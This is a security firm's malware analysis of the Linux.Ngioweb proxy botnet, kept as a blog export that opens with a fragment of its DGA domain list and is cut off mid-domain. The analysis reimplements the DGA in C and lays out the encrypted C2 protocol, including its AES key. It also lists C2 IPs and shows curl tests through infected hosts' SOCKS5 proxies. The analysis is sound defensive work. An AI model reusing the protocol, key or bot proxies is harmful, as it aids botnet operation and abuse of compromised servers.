antikuzucen-irokarance-transitupikible.org
semiralety-macrorobinant-ultrapixutency.biz
transisomuless.name
ilebigument-macroripakesion.org
profebarable.org
nonixigefy-protisumiless.biz
corahicohood.com
pretuvution-disafatutical-irehopuvese.name
miniregath-anticesuty-postudagily.biz
coguvilaship-recakubodom.name
overipugoful-interizihing.org
imipadaness-iralikoward-semitolicoly.info
interupefity-semigiduly.info
macromosoriship.net
antigizepist.net
subuluhic-disomokate.net
irunucudor-macrogocudern-comoxizish.name
underedofobate.net
prolapuzern-progobutiful-dehifasion.org
irucasian-macrofevasion.net
unogoxeness-semixocapency.org
rehofocese.org
exebutian-interomifenism.org
subihefahood-subenopure-ultramoherihood.net
nonezogeward.com
exasavate-minidevilefy-subanevous.biz
enodenission-overucelancy-microvitasission.info
ultrafakitesion-misesuzahical-transanafetion.biz
interinipoly-minimorovor-debininess.com
prenedelission-interugefable-repekosossion.name
postifozible-irololuship.com
unozolasion.org
unobelaness-prepifavety.info
cofukosable.info
iloletible-imakeben.info
ultraronupity.name
minikisision-monobavunism-micronepavage.org
unufepaness-misedepugance.biz
inafolage.com
semifolofic-unaraxal.biz
enerivosism-imenufanist-macrovonahood.org
monobocution.info
cosuzuness-prepurizor-unasulal.name
inopivic-antimaporary-subavocobive.biz
covogidish-iletinassion.biz
defizalike-unodatage-inarabevous.com
unuvirisern-interusalosize-misucakiness.org
ireninenish-multicemath-prezucetussion.biz
interodekive.com
iramilahood-antirotuxary-misobegesion.name
multidafadite-postagoker.org
monobagehance.net
emixuvidite-ilofikency-subolubify.biz
postugihucency-emademify.name
cotefehood-imocakitency.biz
enikavely-inosifuty-postaviraly.info
transabusossion.biz
interitebure.net
unehumugage-ultraburosion.com
subutavahen-inuhabish.org
subifefer-devufoward-probelalance.org
emefimafible.biz
ilibefudom.biz
postemivaxage.net
monofudumossion.info
inuxazodom-macrodexaxahood.org
semibugegetn-monohifutuly.biz
macromohazaship-subonohion-disonixucing.com
emosacekant-cokebohood-nonetakive.biz
interozecifist-antipinukity-multifekemath.net
refedomous-antifaliless.name
ultraxekevohood-nonizerosion-exovigant.name
interarogous-unuculuhood.org
semipulimian.com
monocalacaless.biz
disevolikency-retipegation.biz
cosituxath-misuxunor.info
ultraporader-conapefy-prolobeziless.info
ilucasure.com
reletohite-misosulahood-antitedudom.info
minivucilous-inafafomism.net
monorifutaless-ilocamussion.name
inohufohese-imufilahood-antifidupite.com
emegemaxed-transigifuty-multitumolith.net
exotacible-denitokolike.com
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### Background\nOn May 27, 2019, Our Unknown Threat Detect System highlighted a suspicious ELF file, and till this day, the detection rate on VT is still only one with a very generic name. We determined that this is a Proxy Botnet, and it is a Linux version variant of the Win32.Ngioweb[[1\\]](https://research.checkpoint.com/ramnits-network-proxy-servers/) malware. We named it Linux.Ngioweb. It shares a lot of code with Win32.Ngioweb, except that it has DGA features. We registered one of the DGA C2 domain names (enutofish-pronadimoful-multihitision.org) and was able to observe the Bot connections.\n\nIn addition, we have observed that Linux.Ngioweb malware has been implanted into a large number of WordPress Web servers.\n\nAlthough the Bot program is loaded with the privilege of the user group corresponding to the Web container, it still works and runs as Rotating Proxy node[[2\\]](https://stormproxies.com/rotating_reverse_proxies.html).\n\nWe don’t know why the attacker runs this proxy botnet, but it is possible that everything goes through the proxy is being recorded by the attacker.\n\n### Overview of Linux.Ngioweb\n\nThe main functionality of the Linux.Ngioweb Bot sample is to implement Back-Connect Proxy[[3\\]](https://hide-ip-proxy.com/what-is-a-backconnect-proxy/).on the victim's machine. The attacker builds multiple Bots into a Proxies Pool and controls it through a two-tier C2 protocol, then provides a Rotating Proxy Service.\n\n<a href=\"__GHOST_URL__/content/images/2019/06/Linux.Ngioweb-1.png\"><img src=\"__GHOST_URL__/content/images/2019/06/Linux.Ngioweb-1.png\" class=\"kg-image\"/></a>\n\n### Reverse engineering on Linux.Ngioweb\n#### Basic information\n * MD5: 827ecf99001fa66de513fe5281ce064d\n > ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped\n \n \n#### Anti-reverse engineering technique\n- Uses a niche library named musl libc\n <a href=\"__GHOST_URL__/content/images/2019/06/1.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/1.PNG\" class=\"kg-image\"/></a>\n\n- Stores its functions in the function table in advance\n <a href=\"__GHOST_URL__/content/images/2019/06/2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/2-3.PNG\" class=\"kg-image\"/></a>\n\n- Uses Stack Strings Obfuscation\n <a href=\"__GHOST_URL__/content/images/2019/06/3.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/3-2.PNG\" class=\"kg-image\"/></a>\n\n- Generates constant table used by CRC and AES\n <a href=\"__GHOST_URL__/content/images/2019/06/crypt-1.png\"><img src=\"__GHOST_URL__/content/images/2019/06/crypt-1.png\" class=\"kg-image\"/></a>\n\n- Uses a two-tier C2 protocol, where Stage-2 C2 is determined by the CONNECT instruction of Stage-1 C2\n\n- Stage-2 C2 uses a two-layer encrypted communication protocol\n\n#### Stage-1 C2 protocol analysis\n\nAt this stage, the main behavior of the sample is to establish communication with Stage-1 C2, and proceed to the next step according to the instructions returned by C2.\n\n###### Communication attempt\n\n* Try to establish communication with the following hardcoded C2 IP every 60 seconds\n 169.239.128.166:443 \n 185.244.149.73:443\n\n* Try to establish communication with the domain name generated by DGA (Domain Generation Algorithm) every 73 seconds. When the number of DGA domain names reaches 300, the Seed will be reset. So the total number of DGA domain names is 300.\n <a href=\"__GHOST_URL__/content/images/2019/06/4.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/4-1.PNG\" class=\"kg-image\"/></a>\n\n\n###### DGA implementation\n ```c\nuint64_t GenSeed(uint32_t& seed, uint32_t mod)\n{\n uint32_t tmp = 0x41C64E6D * seed + 0x3039;\n seed = tmp;\n return tmp % mod;\n}\nstring dga(uint32_t& seed)\n{\n char* HeadBuf[] = { \"un\", \"under\", \"re\", \"in\", \"im\", \"il\", \"ir\", \"en\", \"em\",\n \"over\", \"mis\", \"dis\", \"pre\", \"post\", \"anti\",\"inter\",\n \"sub\", \"ultra\", \"non\", \"de\",\"pro\", \"trans\", \"ex\",\n \"macro\", \"micro\", \"mini\",\"mono\", \"multi\", \"semi\", \"co\" };\n\n char* BodyBufA[] = {\"able\",\"ant\",\"ate\",\"age\",\"ance\",\"ancy\",\"an\",\"ary\",\n \"al\",\"en\",\"ency\",\"er\",\"etn\", \"ed\", \"ese\",\"ern\",\"ize\",\n \"ify\",\"ing\",\"ish\",\"ity\",\"ion\",\"ian\",\"ism\",\"ist\",\"ic\",\"ical\",\n \"ible\",\"ive\",\"ite\",\"ish\",\"ian\",\"or\",\"ous\",\"ure\" };\n\n char* BodyBufB[] = {\"dom\",\"hood\",\"less\",\"like\",\"ly\",\"fy\",\"ful\",\"ness\",\n \"ment\",\"sion\",\"ssion\",\"ship\",\"ty\",\"th\",\"tion\",\"ward\" };\n\n char* TailBuf[] = { \".net\",\".info\",\".com\",\".biz\",\".org\",\".name\" };\n\n string BlockBufA = \"aeiou\";\n string BlockBufB = \"bcdfghklmnprstvxz\";\n string domain;\n uint32_t dashloop = GenSeed(seed, 3) + 1;\n while (dashloop--)\n {\n domain += HeadBuf[GenSeed(seed, 0x1e)];\n int flag = 0;\n int i = 0;\n if (BlockBufA.find(domain.back()) == string::npos)\n flag = 1;\n int fillcnt = GenSeed(seed, 0x3) + 4;\n while (fillcnt > i)\n {\n\n if (flag + i & 1)\n domain += BlockBufA[GenSeed(seed, 0x5)];\n else\n domain += BlockBufB[GenSeed(seed, 0x11)];\n i++;\n }\n if (BlockBufA.find(domain.back()) == string::npos)\n domain += BodyBufA[GenSeed(seed, 0x23)];\n else\n domain += BodyBufB[GenSeed(seed, 0x10)];\n if (dashloop != 0)\n domain += \"-\";\n }\n return domain += TailBuf[GenSeed(seed, 0x6)];\n}\n\n ```\n\n \n\n###### Communication Protocol \n\nThis phase of communication is based on the HTTP protocol and the parameters are Base64 encoded.\n\n###### Packets overview\n\n<a href=\"__GHOST_URL__/content/images/2019/06/5.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/5-1.PNG\" class=\"kg-image\"/></a>\n\n###### Sent Packets decode\n\nAfter decoded the parameter content by Base64, we get the following information.\n<a href=\"__GHOST_URL__/content/images/2019/06/6.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/6-1.PNG\" class=\"kg-image\"/></a>\n\n* id=machine-id[0:15]\n\n <a href=\"__GHOST_URL__/content/images/2019/06/7.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/7.PNG\" class=\"kg-image\"/></a>\n\n* v=x86_64, hardcoded, architecture\n\n* sv=5003, hardcoded, version number\n\n* &qlohmzalwdepupwf, random 16-byte data, the algorithm is as follows \n\n <a href=\"__GHOST_URL__/content/images/2019/06/8.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/8-1.PNG\" class=\"kg-image\"/></a>\n\n* User-Agent, hardcoded\n\n ```\n Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0\n ```\n\n###### Received Packets decode\n\n<a href=\"__GHOST_URL__/content/images/2019/06/a.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/a-1.PNG\" class=\"kg-image\"/></a>\n\nCommand Supported\n\n* WAIT\n* CONNECT\n* DISCONNECT\n* CERT\n\n#### Stage-2 C2 protocol analysis\n\nAt this stage, the main action of the sample is to establish communication with the C2 of Stage-2 and enable the Back-Connect Proxy function. C2 of stage-2 is specified by the CONNECT command.\n\n###### Communication Protocol \n\nAt this stage, the communication is combined by double-layer encryption. The inner layer is XOR and the outer layer is AES.\n\n###### Packets overview\n\n<a href=\"__GHOST_URL__/content/images/2019/06/b.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/b-1.PNG\" class=\"kg-image\"/></a>\n\n###### Encryption Algorithm\n\nThe XOR key is generated by a random algorithm:\n<a href=\"__GHOST_URL__/content/images/2019/06/d.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/d-1.PNG\" class=\"kg-image\"/></a>\n\n\nThe algorithm is:\n<a href=\"__GHOST_URL__/content/images/2019/06/c.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/c-1.PNG\" class=\"kg-image\"/></a>\n\nAES uses ECB mode, no padding. The key is:**qwerasdfzxcqwerasdftyuirfdsdsdss**\n\n\n###### Packet Structure\nThe packet consists of two parts: “header” and “msg”.\n\n“header” structure:\n\n```c\n#le->little endian\n#be->big endian\nstruct header\n{\n\tuint32_le xorkey;\n\tuint32_be msgcrc32;\n\tuint32_be len;\n\tuint16_be msgcode\n\tuint16_be magic\n};\n```\n\n\n“msg” consists of chunks, and the chunks supported by the sample are as follows:\n| Chunk Type | Chunk Length | Description |\n| ----------- | ------------ | ------------------------------------------------------------ |\n| 1 | 1 | BYTE |\n| 2 | 2 | WORD big endian |\n| 3 | 4 | DWORD big endian |\n| 4 | 8 | QWORD big endian |\n| 5 | N+4 | Bytes array.The first 4 bytes of chunk are the big endian-encoded length (N) of the array |\n\nA “msg” can have one or more chunks, and different “msg”s are made up by different chunks .\n\nThe “msg” types uses by this sample are “recv” and “send”.\n\n* recv\n <a href=\"__GHOST_URL__/content/images/2019/06/msgrecv.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/msgrecv-1.PNG\" class=\"kg-image\"/></a>\n \n* send\n <a href=\"__GHOST_URL__/content/images/2019/06/msgsend.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/msgsend-1.PNG\" class=\"kg-image\"/></a>\n\nSee the table below for a summary of different “msg”s:\n| msgcode | Driection | Description | Fromat |\n| ------- | --------- | ------------------- | ------------------------------------------------------------ |\n| 0x1010 | recv | set channel id | 3 chunks:(QWORD ConnId, Array IPAddr,WORD Port) |\n| 0x1011 | recv | start proxy request | 5 chunks:(QWORD RequestId, BYTE reason,BYTE AddrType,Array Addr, WORD port) |\n| 0x1012 | recv | close connection | 1 chunk:(QWORD ConnId) |\n| 0x10 | send | check-in | 1 chunk:(QWORD BotId) |\n| 0x11 | send | set-channel ack | 1 chunk:(DWORD VersionId) |\n| 0x14 | send | tcp server started | 5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port) |\n| 0x15 | send | error | 2 chunks:(DWORD RequestId,BYTE reason ) |\n| 0x16 | send | udp server started | 5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port) |\n\n###### Sent packets sample analysis\n\n* Raw data\n ```\n packet[0:31]:\n 6c 52 8c 08 3e 80 a9 3c 00 00 00 10 00 10 fa 51 \n 04 dd b0 b4 9d 10 ec 42 c3 00 00 00 00 00 00 00\n header\t\t--->packet[0:15]\n \txorkey\t\t--->0x088c526c\n \tmsgcrc32\t--->0x3e80a93c\n \tmsglen\t\t--->0x00000010\n \tmsgcode\t\t--->0x0010,check-in \n \tmagic\t\t--->0xfa51\n msg\t\t--->packet[16:31]\n \t1st chunk\n \t\tchunktype\t--->0x4\n \t\tcontent\t\t--->0xddb0b49d10ec42c3\n \n ```\n\n* After XOR encryption\n\n ```\n 6c 52 8c 08 36 0c fb 50 08 8c 52 7c 08 9c a8 3d \n 0c 51 e2 d8 95 9c be 2e cb 8c 52 6c 08 8c 52 6c\n ```\n\n* After AES encryption\n\n ```\n c1 d3 78 71 2d f6 5b bb 16 ca ff 8b ef 69 bb 26\n 3b 01 f0 22 70 09 38 dc e7 06 89 de 2b 55 eb 8e\n ```\n\n###### Received packets sample analysis\n\n* Raw data\n\n ```\n c5 ad 4a bf 30 C2 3a 43 9b 6e 22 08 73 e0 b9 5d \n 3c e6 b7 f0 74 76 53 43 3a 79 0e 82 80 1a c3 84 \n ba a4 85 05 4a 63 b1 d6 d1 94 ad 53 be 7a 9a 88\n ```\n\n* After AES decryption\n\n ```\n 59 8b e5 6d 4a ee bf ef 6d e5 8b 79 7d f5 71 08\n 69 b8 81 aa 92 ed 65 fb 29 e0 8b 59 6d e1 51 47\n 19 e1 89 d8 29 e5 8b 59 6d e5 8b 59 6d e5 8b 59\n ```\n\n* After XOR decryption\n\n ```\n packet[0:47]\n 59 8b e5 6d 27 0b 34 b6 00 00 00 20 10 10 fa 51\n 04 5d 0a f3 ff 08 ee a2 44 05 00 00 00 04 da 1e\n 74 04 02 81 44 00 00 00 00 00 00 00 00 00 00 00\n\n header\t\t--->packet[0:15]\n xorkey\t\t--->0x6de58b59\n msgcrc32\t--->0x270b34b6\n msglen\t\t--->0x00000020\n msgcode\t\t--->0x1010,set channel id\n magic\t\t--->0xfa51\n\n msg\t\t\t--->packet[16:47]\n 1st chunk\n chunktype\t--->0x04\n content\t\t--->0x5d0af3ff08eea244\n 2nt chunk\n chunktype\t--->0x05\n content\t\t--->len:0x00000004 buf:0xda1e7404\n 3rd chunk\n chunktype\t--->0x02\n content\t\t--->0x8144\n ```\n\n### Stage-2 C2 association analysis\n\nWe obtained the following 6 Stage-2 C2 addresses by visiting the Stage-1 C2 URL (http://185.244.149.73:443/min.js).\n```\n5.135.58.119\n5.135.58.121\n5.135.58.123\n5.135.58.124\n91.134.157.11\n193.70.73.115\n```\nWe looked up this md5 (9017804333c820e3b4249130fc989e00) in our GraphicQuery platform and was able to find more IPs which host the same file, we then sent specific crafted packets to these IPs and was able to ID another 18 Stage-2 C2s.\n\n```\n5.135.35.160\n5.196.194.209\n51.254.57.83\n54.36.244.84\n54.36.244.85\n54.36.244.91\n91.121.36.212\n91.121.236.219\n92.222.151.63\n145.239.108.241\n163.172.201.184\n163.172.202.116\n178.33.101.176\n178.33.101.177\n178.33.101.178\n178.33.101.182\n188.165.5.123\n188.165.163.20\n```\n\nWe found that these Stage-2 C2 IP address are providing Socks5 proxy service by looking them up on free-socks.in\n\n<a href=\"__GHOST_URL__/content/images/2019/06/free-proxy.png\"><img src=\"__GHOST_URL__/content/images/2019/06/free-proxy.png\" class=\"kg-image\"/></a>\n\nAs we tested, all these Socks5 proxy IPs are properly functioning. Also, they accessed the C2 domain we own(enutofish-pronadimoful-multihitision.org) via the Stage-1 C2 protocol, so it can be said that they are all Linux.Ngioweb Bots.\n\n```bash\nroot@localhost:~# curl --socks5 91.134.157.11:50880 ifconfig.me\n31.170.123.49\n\nroot@localhost:~# curl --socks5 91.134.157.11:62012 ifconfig.me\n208.113.197.88\n\nroot@localhost:~# curl --socks5 91.134.157.11:18278 ifconfig.me\n45.58.190.100\n\nroot@localhost:~# curl --socks5 91.134.157.11:64380 ifconfig.me\n72.29.64.29\n\nroot@localhost:~# curl --socks5 91.134.157.11:47067 ifconfig.me\n54.38.101.17\n\nroot@localhost:~# curl --socks5 91.134.157.11:63862 ifconfig.me\n88.99.212.97\n\nroot@localhost:~# curl --socks5 91.134.157.11:49475 ifconfig.me\n23.91.65.240\n```\n\n\n\n### Infected IPs information\n\nBy listening on C2 domain (enutofish-pronadimoful-multihitision.org), we have observed a total of 2692 Bot IPs.\n\n<a href=\"__GHOST_URL__/content/images/2019/06/bot.png\"><img src=\"__GHOST_URL__/content/images/2019/06/bot.png\" class=\"kg-image\"/></a>\n\n\nThe following is a detailed list of countries/regions with number of infected IPs:\n```\nUS 1306\nBR 156\nRU 152\nDE 133\nFR 102\nSG 98\nNL 80\nGB 66\nCA 66\nIT 64\nVN 42\nAU 36\nPL 31\nTR 28\nJP 26\nIN 26\nZA 21\nID 19\nES 18\nUA 15\n```\n\nBy probing the infected IPs, we found out that almost all Bot IPs are web servers and have WordPress programs deployed. We did not look into how the attacker took control of these WordPress sites though.\n\nWe contacted some infected users and found multiple WebShells on their Web servers.\nThese WebShells are highly obscured, but the techniques, encryption, and code share similar characters.\nCombined with the accessing characteristics (such as time, order) the infected IPs made to the our sinkhole DGA domain, we speculate that the attacker will periodically issue commands to the WebShells on the victim websites, as well as running the Linux.Ngioweb program.\n\n\n\n### Solutions and Suggestions\n\nWe recommend that readers do not use the Socks5 proxy service provided by these Stage-2 C2 IP.\n\nWe recommend that WordPress users back up the website article database (delete backdoor users such as wp.service.controller.*), reinstall the latest version of WordPress program, enhance user password complexity, enhance WebShell detection capabilities, and disable PHP commands to execute related functions;\n\n\n\n#### Contact us\n\nRelevant security and law enforcement agencies are welcomed to contact netlab[at]360.cn for a list of infected IP addresses.\n\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\n\n#### IoC list\n\nSample MD5\n\n```\n827ecf99001fa66de513fe5281ce064d\n```\n\n\n\nStage-1 C2 (Hardcoded IP)\n\n```\n169.239.128.166 \tSouth Africa \tASN 61138 \tZappie Host LLC\n185.244.149.73 \tRomania \tASN 60117 \tHost Sailor Ltd.\n```\n\n\n\nStage-2 C2\n\n```\n163.172.201.184 \tFrance \tASN 12876 \tOnline S.a.s.\n163.172.202.116 \tFrance \tASN 12876 \tOnline S.a.s.\n5.135.35.160 \tFrance \tASN 16276 \tOVH SAS\n5.135.58.119 \tFrance \tASN 16276 \tOVH SAS\n5.135.58.121 \tFrance \tASN 16276 \tOVH SAS\n5.135.58.123 \tFrance \tASN 16276 \tOVH SAS\n5.135.58.124 \tFrance \tASN 16276 \tOVH SAS\n5.196.194.209 \tFrance \tASN 16276 \tOVH SAS\n51.254.57.83 \tFrance \tASN 16276 \tOVH SAS\n54.36.244.84 \tFrance \tASN 16276 \tOVH SAS\n54.36.244.85 \tFrance \tASN 16276 \tOVH SAS\n54.36.244.91 \tFrance \tASN 16276 \tOVH SAS\n91.121.36.212 \tFrance \tASN 16276 \tOVH SAS\n91.121.236.219 \tFrance \tASN 16276 \tOVH SAS\n91.134.157.11 \tFrance \tASN 16276 \tOVH SAS\n92.222.151.63 \tFrance \tASN 16276 \tOVH SAS\n145.239.108.241 \tGermany \tASN 16276 \tOVH SAS\n178.33.101.176 \tIreland \tASN 16276 \tOVH SAS\n178.33.101.177 \tIreland \tASN 16276 \tOVH SAS\n178.33.101.178 \tIreland \tASN 16276 \tOVH SAS\n178.33.101.182 \tIreland \tASN 16276 \tOVH SAS\n188.165.5.123 \tIreland \tASN 16276 \tOVH SAS\n188.165.163.20 \tFrance \tASN 16276 \tOVH SAS\n193.70.73.115 \tFrance \tASN 16276 \tOVH SAS\n```\n\n\n\nStage-1 C2 (DGA)\n\n```\nenutofish-pronadimoful-multihitision.org\nexaraxexese-macrobacaward-exafosuness.net\nnonafudazage.name\ndemigelike.net\nemuvufehood.net\nsubolukobese.biz\ninogepicor-prorarurument.biz\noverahudulize-unazibezize-overuzozerish.org\nimunolance-postodinenetn-antifipuketn.net\nantizerolant-monogevudom.info\ntransavecaful-transinenation-transikaduhern.com\nsubogonance.info\ninoxodusor-misehupukism.info\ndevikoviward-semibazegily-copaxugage.name\neniguzeless-inecimanable.net\nsubilebesion-irogipate.biz\ncolozosion-antigobunaful.name\ninudiduty-dezaviness.org\nirelizaring-enipulical-monovuxehossion.info\nilenudavous-monoxoxapal-semimihupution.info\nultrapadupize.biz\ncovategal-dezakedify-enebugassion.name\ntransivesudom-macropimuship.org\nrezolezation-transapupirify-seminecation.name\nmacrolutoxous-overefimety.name\ncoxumumage-dexolalite.name\ncotexafical-postirutuvian-emimimous.biz\ncopubuloness-misumusal-disokozian.com\nnonecuzuking-enekopofen-imakozity.info\ndezohipal-ultrazebebive.name\ncosazalike-antifoxirer-subudikic.biz\nunderotutilism-monoceraretion-underosociful.name\noverugiror.net\nemuzixucize.biz\ndisicevament-desizigasion-recadihuful.biz\ndecehoward-microhikodely-overokerezant.com\nmicrolasokadom-ultralarumous.info\nminixecision-iruzaxuhood.net\nprofusonuty.info\nmultifipakency-conovofy-prorakikate.com\nantiseramoment.info\npostavutetn-emedarevous.biz\ninolugoty-inidiverible.com\nprodipamament.biz\noverogobity-imivocurify-disovizution.biz\ndecozaness-antihazation-overetalovical.net\nnonesolafy.com\nunihatosancy.name\ninteriragocern-micropuxotion-transogorion.org\nseminamatity-enogibely.name\ninosebovion.net\nexofifure-postirexument.info\ntransirirenern-semizafunic-nonivubed.biz\nenegizize-microtizobity.name\nmacrohuseded-multipazaseship.com\nimefihured-macrohixuhood.org\nmicrolulition-macrokiguxable.biz\nmultizesumefy-emebefion.biz\nunderebelassion-postizoziless.info\ndezuvazen.name\ndecotusion-exexavihood-exevozebant.name\ndisuzepuly.info\ninuviging-antizoluly.biz\nmultisotiren-ilazufist.org\npredepussion.info\ninidozadom.name\ninterikuhaful.info\ncozuheming.biz\nmultiruxuth.org\nmonozogeced.org\nmononoredom.info\npostarubixage-monocinamety-overogefesal.com\nprebekokian-misadepepive-transilogify.com\nmonohatodom-cohotiship.com\nexebasusion.org\nunahodoness-emevuzeward-emuzeduness.com\nexemidexous-underiposapite-unegatature.name\ninterocugopist-misugexadic-ilobipegency.org\nmonokifomancy-misagefism-macrobepoth.com\nantizekussion-minipusaral-copofuxoship.com\nrelutodom-comakitize.name\nmultikezusion.org\nemopumical-enohecical.org\nsemitegopish.net\nrecepatission.info\ninoluvary.com\nseminitotuful.info\ninteranubing-emelulotal-transugotuzern.com\nsubefehity-iledutession.name\nultrapapiten.biz\ntransuvarusish-prozumoxety.info\ntransisigern.org\nimirotiship-microhopulive-emotomeship.com\npresefavution.info\nenevifaking.org\nmisidogive-coxecovor-dexefoxan.name\noverazadudom-deliromohood.com\nemakanuward.com\nemitohage-overasuhorure-antitipenoless.info\nultrasesebible.biz\nmultihadekite.name\niluvused-iravoxish.info\npostobagoly-detovaward-unixohible.biz\nunderasusogen.com\nimovaman-multimihivoship-imeduxian.biz\ndedunuguhood.com\nprevukition.info\nunderehugavish.org\nmisoxomelical-iluxubism.net\nmicrocolacoful-postabitition.name\noverurohely-overadolure-iruraluness.org\nunurodable-dekipuhic-postuxufous.org\nunitucihern-postadagen-imupuduth.org\nimukokuship.org\nprenubocetion-ultrahahohood.com\nmonofugition-underefogukic.org\nirofetufy.com\nirobigelike.org\npresifament.biz\noveretigution.info\nenuvopan-imixesoward-irarupipary.biz\ninorofizian.com\nmonopadecotion-multicecihood-imuzicasion.com\nexofosehance-minimezazofy.org\nmonokacofudom-inuvinable.com\nemisucosion-prohosexite-imorekusion.net\nsemiledoduly.info\nmultivapufy-promumuly-enonuben.net\nsubebodency.info\ncofexasish-inodehed.net\nunutexupify-conofubusion.com\nmisebonure-iluborize-rezericify.com\nexunaxian.info\ncolanizity-postosecive-nonuresible.info\ndedaliward-imipusen-inacaliver.com\nrefusovize.org\nmonokuvission-transodigical-semihehamussion.biz\ntransalavudom-multilavezuhood.net\nexusizeward.net\nunisimor.name\nminipihagaship.com\nrecusigetion-transubeviful.info\nmultixizitufy-microtomuly-multixoleward.com\nmicroxulodish-semibahoty.biz\nmacrokunith-proxobivive.net\npreginaxodom.name\ntransimapeful-cotalision.com\nprefinazuly.name\ninucasazing-microhesunian-semidikokement.biz\ndisitirotion-transekarenate.org\nunehihify-antimepavable-nonubovafy.net\nmisunotelike-nonugidant.info\nenogosudom-macrogekabive.biz\npostozokipetn-microdomobaly.biz\ninterunavission-ininibecist.org\nmicrohinoler.org\nprosihamish-noneguhaness.com\npreberekous-microkagibant-imemahal.name\niletegifage.org\nemikuraran.biz\noverokigoty-ilecavish.net\nnonikofucable-postelihuzism-rexecigism.net\nimixifure.info\nminirabupeness-nonitefuward.org\nmisasugegify-underazosuzish-exuvexezical.info\nmultipocihood-monomuhunible.org\nnonohacutancy-postuxikitan-microseditoless.info\noverasobament.info\noverulurotion.biz\ndisepadely-disuzirovor.net\nrepetepian-irelucify.biz\nenikobadom-postolixement.name\ninunatogite-imoboraness.net\nirimarefy.net\nmonohiloless-demodefy.com\nprevibetian-misunohigate.info\nmultivunuhance-inabiber.com\nsemicasinaty-ilibaholy.biz\ntransupovetn-monozeruduless.biz\ndebapesetn-underisaxufical-imukugamism.info\nmultibibetefy.com\nexanonish.name\ninteranulish-imazekalike-unisukugate.info\ninokevidage.org\nmonofipuly-underubihal.net\nprofobekify-subebobefy-exozufous.name\nmacrovetecuship-emebudemical-underaxakament.biz\ndemeficiward-retitisily-macromuvaward.org\nmonosumuly-ilenusuty-dedabaness.net\nexapofaran-postulusadify.com\nmicrohobament-postevofafity.com\nrebezusaly-overidirity-ultrahiseness.org\nunafacigage-transihicical-prebokity.info\ninterazution-irudegufy-antinefoly.biz\nminizecidish-macrolafukish-depovased.biz\nderirepous-cosideship-semibiseless.biz\noverupazadity-irativorical.name\ncoseviness-nonikunant-macrorasihood.net\nnonesocern-macrotocipity.info\ninteruzoputy.info\ninicinic-misuluzan-ultrakuxuness.com\nsububesebism-ultrabutath.com\nmisacireship.org\nexuxuburan-miniravuhood-exosoxen.info\nmacrozigahood-monosulopancy.com\nunegoping-detunusion-antimuruseful.biz\nmacrozixaward-semivanimoly-underekutoty.biz\nultratipuxian-inosilission-multiridith.net\nmicrotonagament.info\ncobemesion-redacocoful.name\ndisicogure-seminedasoly.biz\ndekacify.net\nemegamilike-imupogazance-ultrapanacesion.org\nunocelibable-underelatucance.com\nirodetolike-imisocatite-inecolafian.com\nantikuzucen-irokarance-transitupikible.org\nsemiralety-macrorobinant-ultrapixutency.biz\ntransisomuless.name\nilebigument-macroripakesion.org\nprofebarable.org\nnonixigefy-protisumiless.biz\ncorahicohood.com\npretuvution-disafatutical-irehopuvese.name\nminiregath-anticesuty-postudagily.biz\ncoguvilaship-recakubodom.name\noveripugoful-interizihing.org\nimipadaness-iralikoward-semitolicoly.info\ninterupefity-semigiduly.info\nmacromosoriship.net\nantigizepist.net\nsubuluhic-disomokate.net\nirunucudor-macrogocudern-comoxizish.name\nunderedofobate.net\nprolapuzern-progobutiful-dehifasion.org\nirucasian-macrofevasion.net\nunogoxeness-semixocapency.org\nrehofocese.org\nexebutian-interomifenism.org\nsubihefahood-subenopure-ultramoherihood.net\nnonezogeward.com\nexasavate-minidevilefy-subanevous.biz\nenodenission-overucelancy-microvitasission.info\nultrafakitesion-misesuzahical-transanafetion.biz\ninterinipoly-minimorovor-debininess.com\nprenedelission-interugefable-repekosossion.name\npostifozible-irololuship.com\nunozolasion.org\nunobelaness-prepifavety.info\ncofukosable.info\niloletible-imakeben.info\nultraronupity.name\nminikisision-monobavunism-micronepavage.org\nunufepaness-misedepugance.biz\ninafolage.com\nsemifolofic-unaraxal.biz\nenerivosism-imenufanist-macrovonahood.org\nmonobocution.info\ncosuzuness-prepurizor-unasulal.name\ninopivic-antimaporary-subavocobive.biz\ncovogidish-iletinassion.biz\ndefizalike-unodatage-inarabevous.com\nunuvirisern-interusalosize-misucakiness.org\nireninenish-multicemath-prezucetussion.biz\ninterodekive.com\niramilahood-antirotuxary-misobegesion.name\nmultidafadite-postagoker.org\nmonobagehance.net\nemixuvidite-ilofikency-subolubify.biz\npostugihucency-emademify.name\ncotefehood-imocakitency.biz\nenikavely-inosifuty-postaviraly.info\ntransabusossion.biz\ninteritebure.net\nunehumugage-ultraburosion.com\nsubutavahen-inuhabish.org\nsubifefer-devufoward-probelalance.org\nemefimafible.biz\nilibefudom.biz\npostemivaxage.net\nmonofudumossion.info\ninuxazodom-macrodexaxahood.org\nsemibugegetn-monohifutuly.biz\nmacromohazaship-subonohion-disonixucing.com\nemosacekant-cokebohood-nonetakive.biz\ninterozecifist-antipinukity-multifekemath.net\nrefedomous-antifaliless.name\nultraxekevohood-nonizerosion-exovigant.name\ninterarogous-unuculuhood.org\nsemipulimian.com\nmonocalacaless.biz\ndisevolikency-retipegation.biz\ncosituxath-misuxunor.info\nultraporader-conapefy-prolobeziless.info\nilucasure.com\nreletohite-misosulahood-antitedudom.info\nminivucilous-inafafomism.net\nmonorifutaless-ilocamussion.name\ninohufohese-imufilahood-antifidupite.co